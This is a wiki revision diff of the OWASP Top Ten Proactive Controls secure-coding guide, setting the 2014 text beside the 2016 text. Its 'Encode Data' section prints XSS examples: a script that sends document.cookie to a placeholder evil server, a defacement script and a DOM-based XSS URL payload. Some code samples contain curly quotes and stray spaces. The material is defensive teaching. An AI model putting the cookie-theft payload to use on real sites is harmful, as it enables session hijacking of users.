Difference between revisions of "OWASP Proactive Controls"

From OWASP
Jump to: navigation, search
 
(308 intermediate revisions by 11 users not shown)
Line 3: Line 3:
  
 
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
 
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
+
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
  
== OWASP Proactive Controls ==
+
== OWASP Top 10 Proactive Controls 2016 ==
  
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be inherent flaws in requirements and designs. When it comes to web security, developers are often set up to lose the security game.
+
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. And even when they do, there may be security flaws inherent in the requirements and designs. When it comes to software, developers are often set up to lose the security game.
  
The OWASP Top Ten Proactive Controls is a list of security techniques that should be included in every software development project. This document was written by developers for developers to assist those new to secure development.
+
The OWASP Top Ten Proactive Controls 2016 is a list of security techniques that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important. This document was written by developers for developers to assist those new to secure development.
  
* 1: Parameterize Queries
+
# Verify for Security Early and Often
* 2: Encode Data
+
# Parameterize Queries
* 3: Validate All Inputs
+
# Encode Data
* 4: Implement Appropriate Access Controls
+
# Validate All Inputs  
* 5: Establish Identity and Authentication Controls
+
# Implement Identity and Authentication Controls
* 6: Protect Data and Privacy
+
# Implement Appropriate Access Controls
* 7: Implement Logging, Error Handling and Intrusion Detection
+
# Protect Data
* 8: Leverage Security Features of Frameworks and Security Libraries
+
# Implement Logging and Intrusion Detection
* 9: Include Security-Specific Requirements
+
# Leverage Security Frameworks and Libraries
* 10: Design and Architect Security In
+
# Error and Exception Handling
  
For more information, see the [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls complete document here].
+
For more information, see the complete document in the tab to the right.
  
 
==Licensing==
 
==Licensing==
Line 28: Line 28:
 
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].
 
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].
  
| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |
+
| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |
  
 
== What is This? ==
 
== What is This? ==
  
The OWASP Top Ten Proactive Controls describes the top control and control categories that every architect and developer should absolutely, 100% include in every project.
+
The OWASP Top Ten Proactive Controls describes the most important control and control categories that every architect and developer should absolutely, 100% include in every project.
 +
 
 +
== Presentation ==
 +
 
 +
Use the extensive [[media:OWASP_Top_Ten_Proactive_Controls_v2.pptx|project presentation]] that expands on the information in the document.
  
 
== Project Leaders ==
 
== Project Leaders ==
Line 38: Line 42:
 
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]
 
* [https://www.owasp.org/index.php/User:Jmanico Jim Manico] [mailto:jim.manico@owasp.org @]
 
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]
 
* [https://www.owasp.org/index.php/User:Jim_Bird Jim Bird] [mailto:jimbird@shaw.ca @]
 +
* [https://www.owasp.org/index.php/User:Katyanton Katy Anton] [mailto:katy.anton@owasp.org @]
  
 
== Key Contributors ==
 
== Key Contributors ==
  
 +
* Danny Harris [mailto:danny.harris@owasp.org @]
 +
* Hiroaki Kuramochi (Japanese Translation)
 +
* Hiroshi Fujimoto (Japanese Translation)
 +
* Hidenori Nagai (Japanese Translation)
 +
* [https://www.owasp.org/index.php/User:Riotaro_OKADA Riotaro OKADA] [mailto:riotaro@owasp.org @] (Japanese Translation)
 +
* Robert Dracea (Japanese Translation)
 +
* Koichiro Watanabe (Japanese Translation)
 +
* Tony Hsu Hsiang Chih (Chinese Translation)
 +
* Abdessamad Temmar
 +
* [https://www.linkedin.com/in/eyalestrin Eyal Estrin] [mailto:eyal.estrin@gmail.com @] (Hebrew Translation)
 +
* [https://www.owasp.org/index.php/User:Cyrille_Grandval Cyrille Grandval] [mailto:cyrille.grandval@owasp.org @] (French Translation)
 +
* Frédéric Baillon [mailto:fbaillon@darkmira.com @] (French Translation)
 
* Danny Harris [mailto:danny.harris@owasp.org @]
 
* Danny Harris [mailto:danny.harris@owasp.org @]
 
* Stephen de Vries
 
* Stephen de Vries
Line 46: Line 63:
 
* Gaz Heyes
 
* Gaz Heyes
 
* Colin Watson
 
* Colin Watson
 +
* Jason Coleman
 +
* Cassio Goldschmidt
  
 
== Related Projects ==
 
== Related Projects ==
Line 53: Line 72:
 
* [[Cheat Sheets]]
 
* [[Cheat Sheets]]
  
| valign="top" style="padding-left:25px;width:200px;" |
+
| valign="top" style="padding-left:25px;width:200px;" |
  
 
== Quick Access ==
 
== Quick Access ==
  
* Top Ten Proactive Controls 2014 [https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Top_Ten_Proactive_Controls full description].
+
* Top 10 Proactive Controls 2016 [{{SERVER}}/index.php/OWASP_Proactive_Controls?refresh=123#tab=OWASP_Proactive_Controls_2016 Wiki version]
 +
* Top 10 Proactive Controls 2016 [{{SERVER}}/images/9/9b/OWASP_Top_10_Proactive_Controls_V2.pdf PDF version]
 +
* Top 10 Proactive Controls 2016 [{{SERVER}}/images/3/33/OWASP_Top_Ten_Proactive_Controls_v2.pptx PPT download].
 +
* Top 10 Proactive Controls 2016 [{{SERVER}}/images/8/8b/OWASP_Top_10_Proactive_Controls_-_V2.0.docx DOCX download].
 +
 
 +
== Translations ==
 +
 
 +
* Top 10 Proactive Controls 2016 Traditional Chinese Translation [[Media:OWASPTop10ProactiveControls2016-Chinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Simplified Chinese Translation [[Media:OWASPTop10ProactiveControls2016-SimplifiedChinese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Japanese Translation [[Media:OWASPTop10ProactiveControls2016-Japanese.pdf|PDF Download]]
 +
* Top 10 Proactive Controls 2016 Hebrew Translation [[Media:OWASP_Proactive_Controls_2-Hebrew.pdf|PDF Download]]
 +
 
 +
== Latest News and Events ==
  
== News and Events ==
+
* [June 2016 ] Featured in [http://www.booz-allen.co.in/content/dam/boozallen/documents/Viewpoints/2016/06/transformative-approach-to-secure-systems-delivery.pdf A Transformative Approach to Secure Systems Delivery]
* [10 Mar 2014] [http://lists.owasp.org/pipermail/owasp-leaders/2014-March/011047.html Request for review]
+
* [2 June 2016] Featured in [http://www.oreilly.com/webops-perf/free/devopssec.csp DevOpsSec]
* [04 Feb 2014] New Wiki Template!
+
* [30 Apr 2016] Added Hebrew Translation for 2016 version
 +
* [28 Apr 2016] Added Chinese Translations for 2016 version
 +
 
 +
Please see the  [{{SERVER}}/index.php/OWASP_Proactive_Controls?refresh=123#tab=News News] tab for more.
 +
 
 +
== Archive ==
 +
[{{SERVER}}/index.php/OWASP_Proactive_Controls_2014 Proactive Controls 2014]
  
 
== Mailing List ==
 
== Mailing List ==
  
Keep up-to-date via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].
+
Keep up-to-date, participate or ask questions via the [https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List].
  
 
==Classifications==
 
==Classifications==
Line 71: Line 108:
 
   {| width="200" cellpadding="2"
 
   {| width="200" cellpadding="2"
 
   |-
 
   |-
   | align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
+
   | rowspan="2" align="center" valign="top" width="50%" | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
   | align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=]]   
+
   | align="center" valign="top" width="50%" | [[File:Owasp-builders-small.png|link=]]   
 
   |-
 
   |-
   | align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=]]
+
   | align="center" valign="top" width="50%" | [[File:Owasp-defenders-small.png|link=]]
 
   |-
 
   |-
   | colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
+
   | colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
 
   |-
 
   |-
   | colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
+
   | colspan="2" align="center" | [[File:Project_Type_Files_DOC.jpg|link=]]
 
   |}
 
   |}
  
 
|}
 
|}
  
= OWASP Top Ten Proactive Controls =
+
= OWASP Proactive Controls 2016 =
  
Software developers are the foundation of any application. In order to achieve secure software, developers must be supported and helped by the organization they author code for. As software developers author the code that makes up a web application, they need to embrace and practice a wide variety of secure coding techniques. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game.  
+
The OWASP Top Ten Proactive Controls 2016 is a list of security concepts that should be included in every software development project. They are ordered by order of importance, with control number 1 being the most important.  
  
This document was written by developers for developers, to assist those new to secure development. It aims to guide developers and other software development professionals down the path of secure web application software development.
+
# [[OWASP Proactive Controls#1:_Verify_for_Security_Early_and_Often | Verify for Security Early and Often]]
 +
# [[OWASP Proactive Controls#2:_Parameterize_Queries | Parameterize Queries]]
 +
# [[OWASP Proactive Controls#3:_Encode_Data | Encode Data]]
 +
# [[OWASP Proactive Controls#4:_Validate_All_Inputs|  Validate All Inputs]]
 +
# [[OWASP Proactive Controls#5:_Implement_Identity_and_Authentication_Controls | Implement Identity and Authentication Controls]]
 +
# [[OWASP Proactive Controls#6:_Implement_Access_Controls | Implement Appropriate Access Controls]]
 +
# [[OWASP Proactive Controls#7:_Protect_Data| Protect Data]]
 +
# [[OWASP Proactive Controls#8:_Implement_Logging_and_Intrusion_Detection | Implement Logging and Intrusion Detection]]
 +
# [[OWASP Proactive Controls#9:_Leverage_Security_Frameworks_and_Libraries | Leverage Security Frameworks and Libraries]]
 +
# [[OWASP Proactive Controls#10:_Error_and_Exception_Handling | Error and Exception Handling]]
  
There are more than 10 issues that developers need to be aware of. Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.
+
<br />
+
== 1: Verify for Security Early and Often ==
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document. 
+
=== Control Description ===
 +
 
 +
In many organizations security testing is done outside of development testing loops, following a “scan-then-fix” approach. The security team runs a scanning tool or conducts a pen test, triages the results, and then presents the development team a list of vulnerabilities to be fixed. This is often referred to as "the hamster wheel of pain". There is a better way.
 +
 
 +
Security testing needs to be an integral part of a developer’s software engineering practice. Just as you can’t “test quality in”, you can’t “test security in” by doing security testing at the end of a project. You need to verify security early and often, whether through manual testing or automated tests and scans.
 +
 
 +
Include security while writing testing stories and tasks. Include the Proactive Controls in stubs and drivers. Security testing stories should be defined such that the lowest child story can be implemented and accepted in a single iteration; testing a Proactive Control must be lightweight. Consider OWASP ASVS as a guide to define security requirements and testing.  
 +
Consider maintaining a sound story template, “As a <user type> I want <function> so that <benefit>.” Consider data protections early. Include security up front when the definition of done is defined.  
 +
 
 +
Stretching fixes out over multiple sprints can be avoided if the security team makes the effort to '''convert scanning output into reusable Proactive Controls to avoid entire classes of problems'''. Otherwise, approach the output of security scans as an epoch, addressing the results over more than one sprint. Have spikes to do research and convert findings into defects, write the defects in Proactive Control terms, and have Q&A sessions with the security team ensuring testing tasks actually verify the Proactive Control fixed the defect.
 +
 
 +
Take advantage of agile practices like Test Driven Development, Continuous Integration and “relentless testing”. These practices make developers responsible for testing their own work, through fast, automated feedback loops.
 +
 
 +
=== Vulnerabilities Prevented ===
 +
* [[Top_10_2013-Top_10 | All of them!]]
 +
 
 +
=== References ===
 +
* [[OWASP_Testing_Project | OWASP Testing Guide]]
 +
* [[OWASP_Application_Security_Verification_Standard_Project |OWASP ASVS]]
 +
 
 +
=== Tools ===
 +
* [[ZAP | OWASP ZAP]]
 +
* [[OWASP_Web_Testing_Environment_Project | OWASP Web Testing Environment Project]]
 +
* [[OWASP_OWTF | OWASP OWTF]]
 +
* [http://www.continuumsecurity.net/bdd-getstarted.html BDD Security Open Source Testing Framework]
 +
* [https://github.com/gauntlt/gauntlt Gauntlt Security Testing Open Source Framework]
 +
 
 +
=== Training ===
 +
* [[OWASP_Security_Shepherd | OWASP Security Shepherd]]
 +
* [[OWASP_Mutillidae_2_Project | OWASP Mutillidae 2 Project]]
 +
 
 +
<br /><br />
  
Introducing the OWASP Top Ten Proactive Controls 2014.
+
== 2: Parameterize Queries ==
 +
=== Control Description ===
  
 +
SQL Injection is one of the most dangerous web application risks. SQL Injection is easy to exploit with many open source automated attack tools available. SQL injection can also deliver an impact to your application that is devastating.
  
== 1: Parameterize Queries ==
+
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, or modified. <u>The web application can even be used to run dangerous operating system commands against the operating system hosting your database. The main concern with SQL injection is the fact, that the SQL query and its parameters are contained in one query string</u>.
  
SQL Injection is one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.
+
In order to mitigate SQL injection, untrusted input should be prevented from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as ‘Query Parameterization’. In this case, the SQL statements are sent to and parsed by the database server separately from any parameters.
  
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.  
+
Many development frameworks (Rails, Django, Node.js, etc.) employ an object-relational model (ORM) to abstract communication with a database. Many ORMs provide automatic query parameterization when using programmatic methods to retrieve and modify data, but developers should still be cautious when allowing user input into object queries (OQL/HQL) or other advanced queries supported by the framework.
  
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.
+
Proper defense in depth against SQL injection includes the use of technologies such as automated static analysis and proper database management system configuration. If possible, database engines should be configured to only support parameterized queries.
  
Here is an example of query parameterization Parameterization  in Java:
+
=== Java Examples ===
 +
Here is an example of query parameterization in Java:
  
 
  String newName = request.getParameter("newName");
 
  String newName = request.getParameter("newName");
  String id = request.getParameter("id");
+
  int id = Integer.parseInt(request.getParameter("id"));
  PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");
+
  PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?");  
  pstmt.setString(1, newName);  
+
  pstmt.setString(1, newName);
  pstmt.setString(2, id);
+
  pstmt.setInt(2, id);
  
Here is an example of query parameterization in PHP:
+
=== PHP Examples ===
 +
Here is an example of query parameterization in PHP using PDO:
  
$email  = $_REQUEST[‘email’];
+
  $stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”);
$ id’= $_REQUEST[‘id’];
 
  $stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”);  
 
 
  $stmt->bindParam(':new_email', $email);
 
  $stmt->bindParam(':new_email', $email);
 
  $stmt->bindParam(':user_id', $id);
 
  $stmt->bindParam(':user_id', $id);
  
'''Key References'''
+
=== Python Examples ===
* [[Query Parameterization Cheat Sheet]]
+
Here is an example of query parameterization in Python:
* [https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide OWASP Secure Coding Practices Quick Reference Guide]
 
  
 +
email  = REQUEST[‘email’]
 +
id = REQUEST[‘id’]
 +
cur.execute("update users set email=:new_email where id=:user_id", {"new_email": email, "user_id": id})
  
== 2: Encode Data ==
+
=== .NET Examples ===
 +
Here is an example of Query Parameterization in C#.NET:
  
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent that is no longer significant in the target interpreter. A specific example of encoding is output encoding necessary to Cross Site Scripting. Web developers often build web pages dynamically, consisting of a mix of developer built HTML/JavaScript and database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your websiteXSS attacks execute in users browsers and can have a wide variety of effects.
+
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";
 +
SqlCommand command = new SqlCommand(sql);
 +
command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int));
 +
command.Parameters["@CustomerId"].Value = 1;
 +
   
 +
=== Risks Addressed ===
 +
* [[Top_10_2013-A1-Injection | OWASP Top 10 2013-A1-Injection]]
 +
* [[Mobile_Top_10_2014-M1 | OWASP Mobile Top 10 2014-M1 Weak Server Side Controls]]
  
For example:
+
=== References ===
 +
* [[Query_Parameterization_Cheat_Sheet | OWASP Query Parameterization Cheat Sheet]]
 +
* [[SQL_Injection_Prevention_Cheat_Sheet | OWASP SQL Injection Cheat Sheet]]
 +
* [[OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide | OWASP Secure Coding Practices Quick Reference Guide]]
 +
 
 +
<br /><br />
 +
 
 +
== 3: Encode Data==
 +
=== Control Description ===
  
XSS site defacement:
+
Encoding is a powerful mechanism to help protect against many types of attack, especially injection attacks. Essentially, encoding involves translating special characters into some equivalent form that is no longer dangerous in the target interpreter. Encoding is needed to stop various forms of injection including command injection (Unix command encoding, Windows command encoding), LDAP injection (LDAP encoding) and XML injection (XML encoding). Another example of encoding is output encoding which is necessary to prevent cross site scripting (HTML entity encoding, JavaScript hex encoding, etc).
  
<script>document.body.innerHTML(“Jim was here”);</script>
+
=== Web Development ===
  
XSS session theft:
+
Web developers often build web pages dynamically, consisting of a mix of static, developer built HTML/JavaScript and data that was originally populated with user input or some other untrusted source. This input should be considered to be untrusted data and dangerous, which requires special handling when building a secure web application. Cross-Site Scripting (XSS) occurs when an attacker tricks your users into executing malicious script that was not originally built into your website. XSS attacks execute in the user's browser and can have a wide variety of effects.
  
 +
=== Examples ===
 +
==== XSS site defacement: ====
 +
<script>document.body.innerHTML("Jim was here");</script>
 +
==== XSS session theft: ====
 
  <script>
 
  <script>
 
  var img = new Image();
 
  var img = new Image();
  img.src=&quot;hxxp://<some evil server>.com?+ document.cookie;
+
  img.src="hxxp://<some evil server>.com?" + document.cookie;
 
  </script>
 
  </script>
  
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.
+
=== Types of XSS ===
 +
There are three main classes of XSS:
 +
* Persistent
 +
* Reflected
 +
* DOM based
 +
 
 +
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem. This flavor of XSS is more dangerous because users will typically already be logged into the site when the attack is executed, and a single injection attack can affect many different users.
 +
 
 +
Reflected XSS occurs when the attacker places an XSS payload as part of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched. This type of XSS is less dangerous since it requires a degree of interaction between the attacker and the victim.
 +
 
 +
DOM based XSS is an XSS attack that occurs in DOM, rather than in HTML code. That is, the page itself does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. It can only be observed on runtime or by investigating the DOM of the page.
 +
 
 +
For example, the source code of page hxxp://www.example.com/test.html contains the following code:
 +
 
 +
<script>document.write("Current URL : " + document.baseURI);</script>
 +
 
 +
A DOM Based XSS attack against this page can be accomplished by sending the following URL: hxxp://www.example.com/test.html#<script>alert(1)</script>
 +
When looking at the source of the page, you cannot see <script>alert(1)</script> because it’s all happening in the DOM and is done by the executed JavaScript code.
 +
 
 +
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. The type of encoding required will depend on the HTML context of where the untrusted data is added, for example in an attribute value, or in the main HTML body, or even in a JavaScript code block.
 +
 
 +
The encoding functions required to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). OWASP's Java Encoder Project provides encoders for these functions in Java. In .NET 4.5, the AntiXssEncoder Class provides CSS, HTML, URL, JavaScriptString and XML encoders - other encoders for LDAP and VBScript are included in the open source AntiXSS library. Every other web language has some kind of encoding library or support.
 +
 
 +
=== Mobile Development ===
 +
 
 +
In mobile application, the Web View enables android/iOS application to render HTML/JavaScript content, and uses the same core frameworks as native browsers (Safari and Chrome). In like manner as a Web application, XSS can occur in an iOS/Android application when HTML/Javascript content is loaded into a Web View without sanitization/encoding. Consequently, a web view can be used by a malicious third party application to perform client-side injection attacks (example: taking a photo, accessing geolocation and sending SMS/E-Mails). This could lead to personal information leakage and financial damage.
 +
 
 +
Some best practices to protect a mobile app from Cross-Site Scripting attacks depending on the context of using Web View :
 +
 
 +
'''Manipulating user-generated content:''' ensure that data is filtered and/or encoded when presenting it in the Web View.
 +
 
 +
'''Loading content from an external source:''' apps that need to display untrusted content inside a Web View should use a dedicated server/host to render and escape HTML/Javascript content in a safe way. This prevents access to local system contents by malicious Javascript code.
 +
 
 +
=== Java Examples ===
 +
 
 +
For examples of the OWASP Java Encoder protecting against Cross-site scripting, see: [[OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project | OWASP Java Encoder Project]].
 +
 
 +
=== PHP Examples ===
 +
 
 +
==== Zend Framework 2 ====
 +
 
 +
In Zend framework 2, Zend\Escaper can be used for escaping data that is to be output. Example of php code in ZF2:
  
Contextual output encoding is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML. Forms of encoding needing to stop XSS include HTML Entity Encoding, JavaScript Encoding and Percent Encoding (aka URL Encoding). Encoding needed to stop other forms of injection include unix encoding, windows encoding, LDAP encoding, XML encoding and others.
+
<pre>
 +
&#x3C;?php
 +
$input = &#x27;&#x3C;script&#x3E;alert(&#x22;zf2&#x22;)&#x3C;/script&#x3E;&#x27;;
 +
$escaper = new Zend\Escaper\Escaper(&#x27;utf-8&#x27;);
  
'''Key References'''
+
// somewhere in an HTML template
* Stopping XSS in your web application: OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]]
+
&#x3C;div class=&#x22;user-provided-input&#x22;&#x3E;
* General information about injection: [[Top 10 2013-A1-Injection]]
+
&#x3C;?php echo $escaper-&#x3E;escapeHtml($input);?&#x3E;
 +
&#x3C;/div&#x3E;
 +
</pre>
  
'''Key Tools'''
+
=== Vulnerabilities Prevented ===
* [https://www.owasp.org/index.php/OWASP_Java_Encoder_Project OWASP Java Encoder Project]
+
* [[Top_10_2013-A1-Injection | OWASP Top 10 2013-A1-Injection]]
* [https://www.owasp.org/index.php/OWASP_Encoder_Comparison_Reference_Project OWASP Encoder Comparison Reference Project]
+
* [[Top_10_2013-A3-Cross-Site_Scripting_(XSS) | OWASP Top 10 2013-A3-Cross-Site_Scripting_(XSS)]]
 +
* [[Mobile_Top_10_2014-M7 | OWASP Mobile_Top_10_2014-M7 Client Side Injection]]
  
 +
=== References ===
 +
* General Information about [[Top_10_2013-A1-Injection | OWASP Top 10 2013-A1-Injection]]
 +
* General Information about [[XSS]]
 +
* [[XSS_Filter_Evasion_Cheat_Sheet  | OWASP XSS Filter Evasion Attacks]]
 +
* Stopping XSS in your web application: [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | OWASP XSS (Cross Site Scripting) Prevention Cheat Sheet]]
 +
* Stopping DOM XSS in your web Application: [[DOM_based_XSS_Prevention_Cheat_Sheet | OWASP DOM based XSS Prevention Cheat Sheet]]
 +
* Using Microsoft AntiXSS library as the default encoder in ASP.NET. http://haacked.com/archive/2010/04/06/using-antixss-as-the-default-encoder-for-asp-net.aspx/
 +
* Using Microsoft AntiXSS Library to help protecting your applications from Cross-Site Scripting attacks, primarily through encoding functions. https://msdn.microsoft.com/en-us/security/aa973814.aspx
  
== 3: Validate All Inputs ==
+
=== Tools ===
 +
* [[OWASP_Java_Encoder_Project | OWASP Java Encoder Project]]
 +
<br /><br />
  
It is critical to treat all input from outside of the application (for example, from browsers or mobile clients, from outside systems or files) as untrusted. For web applications this includes HTTP headers, cookies, and GET and POST parameters: any or all of this data could be compromised by an attacker.
+
== 4: Validate All Inputs ==
 +
=== Control Description ===
  
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.
+
Any data which is directly entered by, or influenced by, users should be treated as untrusted.  An application should check that this data is both syntactically and semantically valid (in that order) before using it in any way (including displaying it back to the user). Additionally, the most secure applications treat all variables as untrusted and provide security controls regardless of the source of that data.  
 
There are two types of input validation: “white list" validation and "black list" validation. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively because it can be bypassed through encoding and other obfuscation techniques, and is not recommended when building a secure web application. The following examples will focus on white list validation examples.
 
  
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.
+
Syntax validity means that the data is in the form that is expected. For example, an application may allow a user to select a four-digit “account ID” to perform some kind of operation. The application should assume the user is entering a SQL injection payload, and should check that the data entered by the user is exactly four digits in length, and consists only of numbers (in addition to utilizing proper query parameterization).
  
Let’s start with the following regular expression for the username.  
+
Semantic validity means that the data is meaningful: In the above example, the application should assume that the user is maliciously entering an account ID the user is not permitted to access. The application should then check that the user has permission to access said account ID.
 +
 
 +
Input validation must be wholly server-side: client-side controls may be used for convenience. For example, JavaScript validation may alert the user that a particular field must consist of numbers, but the server must validate that the field actually does consist of numbers.
 +
 
 +
=== Background ===
 +
 
 +
A large majority of web application vulnerabilities arise from failing to correctly validate input, or not completely validating input. This “input” is not necessarily directly entered by users using a UI.
 +
In the context of web applications (and web services), this could include, but is not limited to:
 +
* HTTP headers
 +
* Cookies
 +
* GET and POST parameters (including hidden fields)
 +
* File uploads (including information such as the file name)
 +
 
 +
Similarly, in mobile applications, this can include:
 +
* Inter-process communication (IPC - for example, Android Intents)
 +
* Data retrieved from back-end web services
 +
* Data retrieved from the device file system
 +
 
 +
There are two general approaches to performing input syntax validation, commonly known as black-listing and whitelisting:
 +
 
 +
Blacklisting attempts to check that a given user input does not contain “known to be malicious” content. This is similar to how an anti-virus program will operate: as a first line of defence, an anti-virus checks if a file exactly matches known malicious content, and if it does, it will reject it. This tends to be the weaker security strategy.
 +
 
 +
Whitelisting attempts to check that a given user input matches a set of “known good” inputs. For example, a web application may allow you to select one of three cities - the application will then check that one of these cities has been selected, and rejects all other possible input. Character-based whitelisting is a form of whitelisting where an application will check that user input contains only “known good” characters, or matches a known format. For example, this may involve checking that a username contains only alphanumeric characters, and contains exactly two numbers.
 +
 
 +
When building secure software, whitelisting is the generally preferred approach. Blacklisting is prone to error and can be bypassed with various evasion techniques (and needs to be updated with new “signatures” when new attacks are created).
 +
 
 +
=== Regular Expressions ===
 +
Regular expressions offer a way to check whether data matches a specific pattern - this is a great way to implement whitelist validation.
 +
 
 +
When a user first registers for an account on a hypothetical web application, some of the first pieces of data required are a username, password and email address. If this input came from a malicious user, the input could contain attack strings. By validating the user input to ensure that each piece of data contains only the valid set of characters and meets the expectations for data length, we can make attacking this web application more difficult.
 +
 
 +
Let’s start with the following regular expression for the username.
  
 
  ^[a-z0-9_]{3,16}$
 
  ^[a-z0-9_]{3,16}$
  
This regular expression input validation white list of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.  
+
This regular expression, input validation, whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example.
  
 
Here is an example regular expression for the password field.
 
Here is an example regular expression for the password field.
  
  ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$
+
  ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,4000}$
  
